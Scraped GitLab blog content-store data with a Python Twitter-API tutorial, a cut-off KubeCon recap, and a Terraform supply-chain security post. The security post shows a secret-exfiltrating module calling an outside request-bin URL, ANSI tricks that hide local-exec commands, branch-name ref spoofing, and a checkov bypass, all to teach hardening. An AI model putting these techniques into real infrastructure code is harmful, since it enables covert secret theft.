Review","en-us/blog/unreview-a-year-later-how-gitlab-is-being-transformed-by-ml-powered-code-review.yml","en-us/blog/unreview-a-year-later-how-gitlab-is-being-transformed-by-ml-powered-code-review",{"_path":13863,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13864,"content":13870,"config":13875,"_id":13877,"_type":16,"title":13878,"_source":17,"_file":13879,"_stem":13880,"_extension":20},"/en-us/blog/learn-python-with-pj-part-5-building-something-with-the-twitter-api",{"title":13865,"description":13866,"ogTitle":13865,"ogDescription":13866,"noIndex":6,"ogImage":13867,"ogUrl":13868,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13868,"schema":13869},"Learn Python with Pj! Part 5 - Build a hashtag tracker with the Twitter API","Our Education Evangelist Pj Metz wraps up his five-part series with this penultimate tutorial.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664962/Blog/Hero%20Images/python.jpg","https://about.gitlab.com/blog/learn-python-with-pj-part-5-building-something-with-the-twitter-api","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Learn Python with Pj! Part 5 - Build a hashtag tracker with the Twitter API\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"PJ Metz\"}],\n        \"datePublished\": \"2022-06-01\",\n      }",{"title":13865,"description":13866,"authors":13871,"heroImage":13867,"date":13872,"body":13873,"category":7715,"tags":13874},[12593],"2022-06-01","\nThis is the fifth and final installment in the Learn Python with Pj! series. Make sure to read:\n- [Part 1 - Getting started](/blog/learn-python-with-pj-part-1/)\n- [Part 2 - Lists and loops](/blog/learn-python-with-pj-part-2/)\n- [Part 3 - Functions and strings](/blog/learn-python-with-pj-part-3/)\n- [Part 4 - Dictionaries and Files](/blog/learn-python-with-pj-part-4-dictionaries-and-files/)\n\n## Putting it all together\nI’ve completed my Python course on [Codecademy](https://codecademy.com/), and am excited to put the skills I learned into building something practical. I’ve worked with the Twitter API before; I wrote a few bots in Node.js to make them tweet and respond to tweets they’re tagged in. I thought it’d be fun to work with the API again, but this time do it in Python. I didn’t just want to make another bot, so I had to figure out something else. In this case, I made a bot that can track hashtags being used in real time on Twitter.\n\nHere’s [my repo](https://gitlab.com/MetzinAround/python-hashtagger) containing a few different files, but `live_tweets.py` is what we’ll focus on for this blog. Let’s talk about how I built it and what it does. \n\n```python\nimport tweepy\nimport config\n\nauth = tweepy.OAuth1UserHandler(config.consumer_key, config.consumer_secret, config.access_token, config.access_token_secret\n)\n\napi = tweepy.API(auth) \n\n#prints the text of the tweet using hashtag designated in stream.filter(track=[])\nclass LogTweets(tweepy.Stream):\n        def on_status(self, status):\n                date = status.created_at\n                username = status.user.screen_name\n                \n                try:\n                        tweet = status.extended_tweet[\"full_text\"]\n                except AttributeError:\n                        tweet = status.text\n\n                print(\"**Tweet info**\")\n                print(f\"Date: {date}\")\n                print(f\"Username: {username}\")\n                print(f\"Tweet: {tweet}\")\n                print(\"*********\")\n                print(\"********* \\n\")\n              \n\nif __name__ == \"__main__\":         \n        #creates instance of LogTweets with authentication\n        stream = LogTweets(config.consumer_key, config.consumer_secret, config.access_token, config.access_token_secret)\n\n\n        #hashtags as str in list will be watched live on twitter. \n        hashtags = []\n        print(\"Looking for Hashtags...\")\n        stream.filter(track=hashtags)\n\n\n```\n\nHere’s how this all works. First, we import two modules: [Tweepy](https://www.tweepy.org/) and config. Tweepy is a wrapper that makes using the Twitter API very easy. Config allows us to use config files and keep our secrets safe. This is important since using the Twitter API involves four keys that are specific to your Twitter developer account. Getting these keys is covered in this Twitter [documentation](https://developer.twitter.com/en/docs/twitter-api/getting-started/getting-access-to-the-twitter-api). We’ll talk about what’s in the config file and how it works later. \n\nThe next line defines the variable `auth` using tweepy’s built in authorization handler. Normally, you’d put in the keys directly here, but since we’re trying to keep secrets safe, we handle those through the config file. In order to call those variables hosted in the config file, we type `config.variable_name`. Finally, in order to access the tweepy api, we create the variable `api` with the auth variable from the line above passed into `tweepy.API()`. Now, the variable `api` will give us access to all the features in Tweepy’s Twitter API library. \n\n> You’re invited! Join us on June 23rd for the [GitLab 15 launch event](https://page.gitlab.com/fifteen) with DevOps guru Gene Kim and several GitLab leaders. They’ll show you what they see for the future of DevOps and The One DevOps Platform.\n\nFor our purposes, we want to find a hashtag being used, then collect the tweet that used it and print some information about the tweet to the console. To make this happen, we’ve created a class called `LogTweets` that takes an input `tweepy.Stream`. Stream is a Twitter API term that refers to all of the tweets being posted on Twitter at any given moment. Think of it as opening a window looking out onto every single tweet as it’s posted. We have to make this open connection in order to be able to find tweets that are using our hashtag. Inside `LogTweets`, we define a function called `on_status` with the parameters `self` and `status`. `On_status` will be called when a status is detected in the stream. `Self` is required as the first parameter in any class function, and `status` in this function will be referring to the status posted by a Twitter user, often called a tweet.\n\nIn our case, we’re going with status because `tweet` will represent the text of the status itself. We define `date` and `username` using Tweepy documentation: `created_at` is the date and `user.screen_name` is the username of the person who posted the status.\n\nNext is a `try/except` block. Try/except is a concept that works similarly to an if statement, but it allows for error handling a little bit better. It essentially says, “Try this, but if there’s a problem, do this instead.” In this case, we try to define the variable `tweet` as `.extended_tweet[“full_text”]`. This checks if the status we’re working with has the `extended_tweet` attribute. Twitter used to be limited to 140 characters, and when they increased the limit to 280, the `extended_tweet` became necessary.\n\nNow, if you want to capture the full tweet, you need the `extended_tweet` attribute. Inside of that attribute is the key `full_text`. Longer tweets will need that full_text or it will cut off at the 140 character limit. This `try` command checks if that key exists; if it does, `tweet` is equal to that full text.\n\nHowever, if an `AttributeError` happens, we just grab the regular text and set it equal to the variable `tweet`. Next, we print some info to the terminal. Whenever this function is called, the six lines will print to the console with the variables created above replaced by whatever status info was passed in. This makes it easier to keep track of what we’re looking at in the terminal. \n\nNext, we have an important if statement: `if __name__ == \"__main__\":`. This is used to indicate what happens when the file is run. Basically, files in Python receive a property called `__name__` from the compiler. The file that is called to be run directly is called `__main__`. Other files not run are given names equal to the file name. Therefore, anything under this if statement will only run if the file is being called directly by the compiler. \n\nNext, we create an instance of `LogTweets` called `stream`. We pass in the authentication information from the config file just like we did for the `auth` variable in the beginning of the code. This “opens up” the stream and we are now looking at all the tweets being sent in real time. In order to narrow our search, we need something to look for. The variable `hashtags` is an empty list that must be populated with strings of the hashtags we’re looking to track. This list will be put into the keyword `track` in a few lines. \n\n`Track` is an important keyword for the stream. It tells the instance what word we are looking for, input as a list of strings. These words can show up in any form, so it’s very broad.  If we didn’t put the hashtag in front of it, it would simply look for that word no matter where it showed up, so we might have too many results. By looking for hashtags, we narrow our search only to people using that specific hashtag, not just the word wherever it is. To search for terms, you have to put them into the list as a string before running the code. \n\nWhen the code is run by typing `python3 live_tweets.py` into the terminal, this is what the output looks like in the terminal.\n\n![Output in terminal](https://about.gitlab.com/images/blogimages/pythonwithpj5.png){: .shadow}\n\n\nThat’s it! That’s how the bot works, but we still need to talk about `config.py` and why we used it before. Here’s the contents of the file: \n\n```python\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv()\nconsumer_key = os.getenv(\"consumer_key\")\nconsumer_secret = os.getenv(\"consumer_secret\")\naccess_token = os.getenv(\"access_token\")\naccess_token_secret = os.getenv(\"access_token_secret\")\n```\n\nI tricked you! This doesn’t have the keys there either! Using `import os` and `import dotenv import load_dotenv` gives us access to something very important to keep secret keys safe: environmental variables. An environmental variable can be set in many different places, but in this case, our local repo has a file called `.env` that holds the actual keys.\n\nThis is there so I can test the app and run it on my machine. To use it somewhere else, you’d have to have environmental variables set up to hold the keys for the Twitter API. When I run my bots on Heroku, I keep the keys in the settings so it has access to the keys it needs to run. I use a `.gitignore` file that keeps my `.env` file from being committed to GitLab. \n\nAs you can see, the variables in `config.py` are set to `os.getenv(“name_of_key”)`. When we import `config.py` as `import config`, we gain access to these variables by calling `config.name_of_variable` in our main file. \n\nSo, for now, that’s what I built! It’s not much and I pieced it together using a lot of documentation from Twitter and Tweepy as well as a few tutorials and plenty of Stackoverflow, but it got built and it works the way I want it to!\n\nI’ve really enjoyed learning Python online and writing about it for everyone who has been reading it. I encourage anyone learning a new language or skill to write about it; it has really helped solidify my learning, and who knows, maybe I’ve helped someone else understand something in Python as well. \n\n",[7715,696,9297],{"slug":13876,"featured":6,"template":678},"learn-python-with-pj-part-5-building-something-with-the-twitter-api","content:en-us:blog:learn-python-with-pj-part-5-building-something-with-the-twitter-api.yml","Learn Python With Pj Part 5 Building Something With The Twitter Api","en-us/blog/learn-python-with-pj-part-5-building-something-with-the-twitter-api.yml","en-us/blog/learn-python-with-pj-part-5-building-something-with-the-twitter-api",{"_path":13882,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13883,"content":13889,"config":13894,"_id":13896,"_type":16,"title":13897,"_source":17,"_file":13898,"_stem":13899,"_extension":20},"/en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers",{"title":13884,"description":13885,"ogTitle":13884,"ogDescription":13885,"noIndex":6,"ogImage":13886,"ogUrl":13887,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13887,"schema":13888},"Terraform in the software supply chain: Modules & providers","We examine the supply chain aspects of Terraform, starting with a closer look at malicious Terraform modules and providers and how you can better secure them.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682329/Blog/Hero%20Images/pexels-mateusz-dach-353641.jpg","https://about.gitlab.com/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Terraform as part of the software supply chain, Part 1 - Modules and Providers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2022-06-01\",\n      }",{"title":13890,"description":13885,"authors":13891,"heroImage":13886,"date":13872,"body":13892,"category":674,"tags":13893},"Terraform as part of the software supply chain, Part 1 - Modules and Providers",[11242],"\n\n## What is Terraform?\n\nTerraform is an infrastructure as code (IaC) solution that helps businesses grow their infrastructure securely and at scale, while managing everything in it from multiple servers to multiple clouds. Terraform lets you build your complete infrastructure as code.\n\nTerraform, which was created by HashiCorp, is an open-source, public-cloud-provisioning tool written in the Go language. Although Terraform serves many functions, its primary use is to help DevOps teams automate various infrastructure management tasks and helps you manage all of your servers and resources, even if they come from different providers (unlike some other IaC competitors). Terraforms connects all of your infrastructures and helps you manage it. \n\nTerraform supports many providers like [AWS](/blog/deploy-aws/), Google Cloud Platform, Azure, and others via APIs provided by the cloud service providers.\n\n## What are the benefits of using Terraform providers?\n\nThe biggest benefit of using a Terraform cloud provider is the versatility that it provides to DevOps teams. Regardless of which provider you use, Terraform lets you easily manage all of your resources no matter where you’re located and how many servers you have at your disposal. \n\nThe other major advantage to using Terraform is automation. On any given DevOps team today, there are far too many functions that need to happen repeatedly and simultaneously. The only way to be able to efficiently manage all that needs to be done is to automate a lot of your processes. \n\nTerraform helps you automate all of your server management tasks. Everything is done in code, and it eliminates a lot of manual work. The ability to create scripts that run your task actions and reuse them makes life a lot easier for DevOps teams. \n\nFinally, unlike other IaC providers, Terraform doesn’t require any agent software to be installed on the managed infrastructure, making it more user-friendly than those competitors that require agent-based software for IaC installation.\n\n## Terraform Security\n\nWhen talking about Terraform security, there are many resources covering the security aspects of the infrastructure surrounding certain Terraform configurations. Looking at the security of Terraform itself and the things which could go wrong when running it, however, have very little coverage so far.\n\nSome previously published work I'm aware of includes:\n\n- A [blogpost covering malicious Terraform modules](https://sprocketfox.io/xssfox/2022/02/09/terraformsupply/) by [xssfox](https://sprocketfox.io/xssfox/about/) had already been published when I started digging into the topic. The main attack vector in this case is a malicious Terraform module which exfiltrates an AWS System Manager-stored secret via HTTP towards an attacker-controlled host.\n\n- The folks at [bridgecrew](https://bridgecrew.io/) reacted to the above xssfox post with some [static detection rules](https://github.com/bridgecrewio/checkov/blob/63d36e5ba309e9c03ef99a13f264ba256d756d8d/checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml) for their tool `checkov` and a [blogpost looking at the supply chain aspects of Terraform](https://bridgecrew.io/blog/terraform-supply-chain-security-risks-prevent-them-with-checkov/).\n\n- Also worth mentioning is, of course, [Hashicorp's stance on malicious Terraform modules and providers](https://www.terraform.io/cloud-docs/architectural-details/security-model#malicious-terraform-providers-or-modules):\n\n> **\"Terraform providers and modules used in your Terraform configuration will have full access to the variables and Terraform state within a workspace. Terraform Cloud cannot prevent malicious providers and modules from exfiltrating this sensitive data. We recommend only using trusted modules and providers within your Terraform configuration.\"**\n\nThe blog post you're reading is part one of a three-part series examining the supply chain aspects of Terraform and aims to look at malicious Terraform modules and providers. I'll also give recommendations on securing the process of running Terraform against modules and providers gone rogue. The next two blogs in the series will build upon these findings and cover more in-depth topics and vulnerabilities.\n\n## Provider security\nProviders in Terraform are executable binaries, so if a provider turns malicious it's certainly \"game over\" in the sense that it can do whatever the host OS it runs on allows. Providers need to have a signature which gets validated by Terraform upon installation of the Provider. Version `0.14` Terraform creates a [dependency lock file](https://www.terraform.io/language/files/dependency-lock) which records checksums of the used providers in two different formats.\n\n### zh and h1 checksums\nThe first format, `zh`, is simply a SHA256 hash of the `zip` file which contains a provider for a specific OS/hardware platform combination. The `h1` hash is a so-called \"[dirhash](https://pkg.go.dev/golang.org/x/mod/sumdb/dirhash)\" of the provider's directory. \n\nSo if we look at the following lock file `.terraform.lock.hcl` we can observe the two different types of hashes:  \n\n```hcl\n# This file is maintained automatically by \"terraform init\".  \n# Manual edits may be lost in future updates.  \n  \nprovider \"registry.terraform.io/hashicorp/aws\" {  \n version = \"4.11.0\"  \n hashes = [  \n   \"h1:JTgGUEVVuuv82X0ePjDM73f+ZM+NfLwb/GGNAOM0CdE=\",  \n   \"zh:3e4634f4babcef402160ffb97f9f37e3e781313ceb7b7858fe4b7fc0e2e33e99\",  \n   \"zh:3ff647aa88e71419480e3f51a4b40e3b0e2d66482bea97c0b4e75f37aa5ad1f1\",  \n   \"zh:4680d16fbb85663034dc3677b402e9e78ab1d4040dd80603052817a96ec08911\",  \n   \"zh:5190d03f43f7ad56dae0a7f0441a0f5b2590f42f6e07a724fe11dd50c42a12e4\",  \n   \"zh:622426fcdbb927e7c198fe4b890a01a5aa312e462cd82ae1e302186eeac1d071\",  \n   \"zh:9b12af85486a96aedd8d7984b0ff811a4b42e3d88dad1a3fb4c0b580d04fa425\",  \n   \"zh:b0b766a835c79f8dd58b93d25df8f37749f33cca2297ac088d402d718baddd9c\",  \n   \"zh:b293cf26a02992b2167ed3f63711dc01221c4a5e2984b6c7c0c04a6155ab0526\",  \n   \"zh:ca8e1f5c58fc838edb5fe7528aec3f2fcbaeabf808add0f401aee5073b61f17f\",  \n   \"zh:e0d2ad2767c0134841d52394d180f8f3315c238949c8d11be39a214630e8d50e\",  \n   \"zh:ece0d11c35a8537b662287e00af4d27a27eb9558353b133674af90ec11c818d3\",  \n   \"zh:f7e1cd07ae883d3be01942dc2b0d516b9736a74e6037287ab19f616725c8f7e8\",  \n ]  \n}\n```\n\nThe `zh` entries can also be found in the [provider's v.4.11.0 release](https://github.com/hashicorp/terraform-provider-aws/releases/download/v4.11.0/) within the [SHA256SUMS](https://github.com/hashicorp/terraform-provider-aws/releases/download/v4.11.0/terraform-provider-aws_4.11.0_SHA256SUMS) file. To understand the single `h1` dirhash entry we need to have a look at the provider's directory. \n\nIn our Terraform project it is constructed like this:  \n\n```\n$ ls .terraform/providers/registry.terraform.io/hashicorp/aws/4.11.0/linux_amd64/                                     \nterraform-provider-aws_v4.11.0_x5\n$ cd .terraform/providers/registry.terraform.io/hashicorp/aws/4.11.0/linux_amd64/\n$ sha256sum terraform-provider-aws_v4.11.0_x5\n34c03613d15861d492c2d826c251580c58de232be6e50066cb0a0bb8c87b48de  terraform-provider-aws_v4.11.0_x5\n$ sha256sum terraform-provider-aws_v4.11.0_x5 > /tmp/dirhash\n$ sha256sum /tmp/dirhash    \n253806504555baebfcd97d1e3e30ccef77fe64cf8d7cbc1bfc618d00e33409d1  /tmp/dirhash\n$ echo 253806504555baebfcd97d1e3e30ccef77fe64cf8d7cbc1bfc618d00e33409d1 | ruby -rbase64 -e 'puts Base64.encode64 [STDIN.read.chomp].pack(\"H*\")'  \nJTgGUEVVuuv82X0ePjDM73f+ZM+NfLwb/GGNAOM0CdE=\n```\n\nThe `dirhash`, called `h1` in the lock file, is created from an alphabetical list of `sha256sum filename`. Once this list is `sha256sum` ed again, the resulting hash is taken in binary representation and then converted to Base64.\n\nFrom an attacker's perspective, the interesting part about the lock file is that it can contain multiple `zh` and `h1` hashes per provider. It is also noteworthy that those two types don't have to have any relationship. If we modify a downloaded provider's content on disk, we can simply place the corresponding `h1` hash next to any other `h1` in the lock file. As there can be multiple entries we would not break any legitimate installation and just allow-list a modified provider directory on-disk on top of what's already allowed.\n\n**Lessons learned here**\n\n1. Put your `.terraform.lock.hcl` under version control (Terraform even suggests this on the command line when it generates the file).\n2. Verify and double-check any modifications and additions to the `.terraform.lock.hcl` file; this is crucial to detect any tampering with the providers in use.\n\n> You’re invited! Join us on June 23rd for the [GitLab 15 launch event](https://page.gitlab.com/fifteen) with DevOps guru Gene Kim and several GitLab leaders. They’ll show you what they see for the future of DevOps and The One DevOps Platform.\n\n## Module security\n\nModules don't have any form of signature, and can be downloaded from different [module sources](https://www.terraform.io/language/modules/sources#module-sources). By default what happens when you instruct Terraform to download a module is that the [public Terraform Registry](https://www.terraform.io/language/modules/sources#terraform-registry) will redirect the Terraform client to download a Git tag from a public GitHub repository. The problem here is that Git tags on GitHub are mutable. They can simply be replaced with completely different content by e.g. a force-push of new content under the same tag to GitHub.\n\nSo having a module referenced like:  \n\n```hcl\nmodule \"hello\" {\n  source  = \"joernchen/hello/test\"\n  version = \"0.0.1\"\n}\n```\n\nwould download the [Git tag `v0.0.1`](https://github.com/joernchen/terraform-test-hello/releases/tag/v0.0.1) from my GitHub repository but there's no guarantee about the content. \n\nAt this point, the most common recommendation is [to specify a git ref](https://www.terraform.io/language/modules/sources#selecting-a-revision) pointing to a full commit SHA. This approach isn't perfect either in the non-default case. Depending on the module source, we can utilize the fact that we're able to name a branch just like a commit hash. GitLab and GitHub won't allow you to create such branches, or to push branches that look like commit hashes. However, other module sources might allow this. An actual attack using this vector would look like what we see below.  \n\nFirst we look at a legitimate clone referencing a git commit:  \n\n```\n$ cat main.tf \nmodule \"immutable_module\"{\n  source = \"git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758\"\n}\n$ terraform init                                                                    \nInitializing modules...\nDownloading git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758 for immutable_module...\n- immutable_module in .terraform/modules/immutable_module\n\nInitializing the backend...\n\nInitializing provider plugins...\n- Finding latest version of hashicorp/http...\n- Installing hashicorp/http v2.1.0...\n- Installed hashicorp/http v2.1.0 (signed by HashiCorp)\n\nTerraform has created a lock file .terraform.lock.hcl to record the provider\nselections it made above. Include this file in your version control repository\nso that Terraform can guarantee to make the same selections by default when\nyou run \"terraform init\" in the future.\n\nTerraform has been successfully initialized!\n\nYou may now begin working with Terraform. Try running \"terraform plan\" to see\nany changes that are required for your infrastructure. All Terraform commands\nshould now work.\n\nIf you ever set or change modules or backend configuration for Terraform,\nrerun this command to reinitialize your working directory. If you forget, other\ncommands will detect it and remind you to do so if necessary.\n$ ls -al .terraform/modules/immutable_module\ntotal 20\ndrwxr-xr-x 3 joern joern 4096  9. Mai 09:53 .\ndrwxr-xr-x 3 joern joern 4096  9. Mai 09:53 ..\ndrwxr-xr-x 8 joern joern 4096  9. Mai 09:53 .git\n-rw-r--r-- 1 joern joern  159  9. Mai 09:53 main.tf\n-rw-r--r-- 1 joern joern   22  9. Mai 09:53 README.md\n```\n\nThen we prepare our repository to have a branch with the same name as the previously used commit:  \n\n```\n$ git checkout -b e23c0dcbb43ca19ea9ca91c879aafcc66c990758\nSwitched to a new branch 'e23c0dcbb43ca19ea9ca91c879aafcc66c990758'\n$ echo \"a malicious file\">malicious.tf\n$ git add malicious.tf \n$ git commit -m \"a malicious commit\"\n[e23c0dcbb43ca19ea9ca91c879aafcc66c990758 51de72e] a malicious commit\n 1 file changed, 1 insertion(+)\n create mode 100644 malicious.tf\n```\nWhen we initialize the project again we'll pull the malicious branch instead of the referenced commit:\n\n``` \n$ rm -rf .terraform         \n$ terraform init\nInitializing modules...\nDownloading git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758 for immutable_module...\n- immutable_module in .terraform/modules/immutable_module\n╷\n│ Error: Invalid block definition\n│ \n│ On .terraform/modules/immutable_module/malicious.tf line 1: A block definition must have block content delimited by \"{\" and \"}\", starting on the\n│ same line as the block header.\n╵\n\n╷\n│ Error: Invalid block definition\n│ \n│ On .terraform/modules/immutable_module/malicious.tf line 1: A block definition must have block content delimited by \"{\" and \"}\", starting on the\n│ same line as the block header.\n╵\n```\n\n**Lesson learned here** \n\nSeemingly immutable git refs really aren't that immutable after all. This means we cannot trust modules hosted in arbitrary locations and simply rely on their git ref to be pinned. Instead, we must have control over the hosted location such that manipulation of the repository can be prevented.\n\n### Impact of malicious modules\n\nWhat could a malicious module do?\n\nReading the documentation, there are some useful primitives already built in. The most \"powerful\" primitive, if we want to mess with the Terraform run itself, might be [`local-exec`](https://www.terraform.io/language/resources/provisioners/local-exec) which will let us run local commands on the machine running the Terraform process.\n\nTerraform, however, will be verbose about this and tell the user what it just executed:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/local-exec.png){: .shadow.medium.center}\nTerraform local-exec\n{: .note.text-center}\n\n\nWe can cheat here a little as most terminals support so-called [ANSI escape codes](https://en.wikipedia.org/wiki/ANSI_escape_code) which allow one to meddle to a certain extent with the terminal output.\n\nThe following variant of our `main.tf` file in the screenshot above will disguise the output traces of `local-exec` in the terminal:  \n\n```hcl\nresource \"null_resource\" \"lol\" {  \n  \n provisioner \"local-exec\" {  \n   command = \"id > haxx ;echo -e '\\\\033[0K \\\\033[1K \\\\033[1A \\\\033[0K \\\\033[1K \\\\033[2A'\"  \n }  \n}\n```\n\nThe screenshot below shows that our traces of using `local-exec` are no longer visible in the shell output:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/local-exec-ansi.png){: .shadow.medium.center}\nLocal exec is no longer visible in the shell output\n{: .note.text-center}\n\nAnother attack vector was outlined [in xssfox's post](https://sprocketfox.io/xssfox/2022/02/09/terraformsupply/):  \n\n```hcl\nterraform {\n  required_providers {\n    aws = {\n      source  = \"hashicorp/aws\"\n    }\n    http = {}\n  }\n}\n\nresource \"aws_ssm_parameter\" \"param\" {\n  name  = var.parameter_name\n  type  = \"SecureString\"\n  value = random_password.password.result\n}\n\nresource \"random_password\" \"password\" {\n  length           = 16\n  special          = true\n  override_special = \"_%@\"\n}\n\n## !!! Our evil way to leak data !!!\ndata \"http\" \"leak\" {\n    url = \"https://enp840cyx28ip.x.pipedream.net/?id=${aws_ssm_parameter.param.name}&content=${aws_ssm_parameter.param.value}\"\n}\n```\n\nHere, the to-be-kept-secret parameter `aws_ssm_parameter` is leaked via the `http` data source. We can detect such a leak with [`checkov`](https://www.checkov.io/). Running `checkov` to check the above terraform code will warn us with a failed check:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/checkov1.png){: .shadow.medium.center}\nFailed check\n{: .note.text-center}\n\nThis check can be bypassed quite easily by simply wrapping the leaked parameters in `base64encode`:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/checkov2.png){: .shadow.medium.center}\nBypassing the failed check\n{: .note.text-center}\n\n\n**Lesson learned here**\n\nThe main takeaway is that malicious modules can be a quite powerful attack primitive and there are many different ways to compromise a Terraform run with a malicious module, such that even automated checks might fail.\n\n### Closing thoughts and what's next\n\nThis first blog covered the basics of malicious modules and providers in Terraform. As a bottom line I'd like to emphasize the fragility of running Terraform in cases where third-party modules and providers are being used. To harden your Terraform process against malicious modules you should be in control of the included module's and provider's content at all times. For providers, you can rely on the signatures as long as they've not been messed with. For modules, it is recommended to host them in a controlled environment.\n\nOur next blog in this series will cover some vulnerabilities in Terraform itself. In our third and final post we'll take a closer look at CI/CD related aspects of Terraform. Until next time!\n\nCover image by [Mateusz Dach](https://www.pexels.com/@mateusz-dach-99805/) on [Pexels](https://www.pexels.com/photo/brown-wooden-dominoes-353641/).\n{: .note}\n",[674],{"slug":13895,"featured":6,"template":678},"terraform-as-part-of-software-supply-chain-part1-modules-and-providers","content:en-us:blog:terraform-as-part-of-software-supply-chain-part1-modules-and-providers.yml","Terraform As Part Of Software Supply Chain Part1 Modules And Providers","en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers.yml","en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers",{"_path":13901,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13902,"content":13908,"config":13913,"_id":13915,"_type":16,"title":13916,"_source":17,"_file":13917,"_stem":13918,"_extension":20},"/en-us/blog/the-kubecon-summary-from-a-product-perspective",{"title":13903,"description":13904,"ogTitle":13903,"ogDescription":13904,"noIndex":6,"ogImage":13905,"ogUrl":13906,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13906,"schema":13907},"How what we learned at KubeCon EU 2022 will impact our product roadmaps","Platform integrations and secrets management are among our product team's primary takeaways. Find out why.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097776/Blog/Hero%20Images/Blog/Hero%20Images/2_2.png_1750097776369.png","https://about.gitlab.com/blog/the-kubecon-summary-from-a-product-perspective","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How what we learned at KubeCon EU 2022 will impact our product roadmaps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2022-05-31\",\n      }",{"title":13903,"description":13904,"authors":13909,"heroImage":13905,"date":13910,"body":13911,"category":962,"tags":13912},[2544],"2022-05-31","\nAfter two years of only virtual KubeCon events, the GitLab product team was excited to participate in and meet colleagues, partners, and more from our industry at KubeCon EU 2022, held in Valencia, Spain. We were present with four product leaders, a software developer, and a UX researcher. This post summarizes our primary takeaways from the conference, an experience that will affect our roadmaps.\n\nWe will discuss the following topics:\n\n- Internal platforms and GitOps\n- Secrets management\n- Infrastructure integrations\n- WebAssembly a.k.a. WASM\n\nThere were 32 topic types and several 0-day events at KubeCon. Many talks focused on a few tools. Many Cloud Native Computing Foundation ([CNCF](https://www.cncf.io/)) projects had their community meetings during these days. Some talks were given IRL, and others were broadcast virtually with live Q&A. There were a variety of topics and approaches. There were many talks about the various aspects of cluster management, too. However, we left this topic out on purpose because at GitLab we want to focus on the software developers and provide one DevOps platform to support their work. Cluster management is one step away from this focus. Still, we noticed some remarkable patterns as highlighted by the four elements of our list.\n\n> You’re invited! Join us on June 23rd for the [GitLab 15 launch event](https://page.gitlab.com/fifteen) with DevOps guru Gene Kim and several GitLab leaders. They’ll show you what they see for the future of DevOps and The One DevOps Platform.\n\n## Internal platforms and GitOps\n\nCompanies want their developers to focus on their core business. They create internal platforms to hide the complexity of Day 0-2 operations from their software engineers and still allow the \"shift left\" movement of DevOps. These platforms often involve the welding of several tools.\n\nMany talks presented how the given team or company approached their platform problem and what tools they used, and one could often feel the 18-month sweat of a whole platform team trying to come up with a solution.\n\nThese platforms use either a push- or pull-based model for deployments. No single approach is emerging due to legacy applications and different requirements. While there is a definition of GitOps provided by the [OpenGitOps](https://opengitops.dev/) initiative, several presenters offered their own definitions, including of pull-based deployments.\n\nWe fielded a large-scale survey related to secrets at KubeCon, and learned that users would like help with the [Pipeline Authoring](/direction/verify/pipeline_composition/) workflow.\n\nBesides the wiring of the tools, the industry is still looking for a unified approach to multi-tenancy (there might not be one), and sometimes integrating security processes seems overly challenging.\n\n### How does this affect our roadmap?\n\nThere is a lot of potential in building a platform used as the starting point for internal platforms. Imagine a \"tool\" that shortens the time required to create an internal platform to days or weeks instead of a whole year. This is the GitLab vision of The One DevOps platform.\n\nAs a result, we don't plan any changes in our direction. We will continue investing in the recently started [Deployment direction](/direction/delivery/) to provide all the building blocks for a platform in a single tool and are already actively looking for integrated experiences across our offering.\n\nWe’re working on a CI/CD Component Catalog that includes CI templates. This will [support the Pipeline Authoring workflow](https://gitlab.com/groups/gitlab-org/-/epics/7462).\n\n## Secrets management\n\nOne of the things that often came up in our discussions is secrets management. We fielded a large-scale survey related to secrets at KubeCon, and attendees were glad that we’re thinking about this topic. Security is part of the DevOps discussion, and secrets management is a serious issue, especially in a cloud-native aspect.\n\n- Jenkins, GitHub and GitLab were all mentioned during the secret management discussions.\n- Users would like to offload the secrets management responsibility to another product. In many cases, their security requirements are strict, so they don't want/can't handle secrets by themselves.\n- Hashicorp Vault is a preferred tool (primarily in large enterprise companies working in finance or government) to manage and handle secrets. At the same time, most companies would like to avoid operating one more application in their stack.\n- Open ID Connect [OIDC](https://docs.gitlab.com/ee/integration/openid_connect_provider.html) with the JSON web token (JWT) is an essential direction for us.\n\n### How does this affect our roadmap?\n\nWe should invest more in secrets management since this is a pain our customers would like us to solve, and it's becoming a nonstarter feature for many organizations.\n\nWe want to advance in three main vectors:\n\n- Improve our existing secrets management solution - although we don't have a clear solution, we should improve our current variables capabilities to include additional features that could help users leverage variables for secrets. So it would be a \"good enough\" feature they can use. We are actively working toward this direction by removing some of the limitations we have around [variables and masking](https://gitlab.com/groups/gitlab-org/-/epics/1994).\n- Improve our existing [Hashicorp Vault integration](https://docs.gitlab.com/ee/ci/examples/authenticating-with-hashicorp-vault/) using the JWT token, allowing us to integrate with additional vendors (AWS, AZURE, GCP). Like the previous point, we are moving toward this direction by supporting OIDC and [adding audience claims to our JWT token](https://gitlab.com/groups/gitlab-org/-/epics/7335).\n- We need to develop [a clear 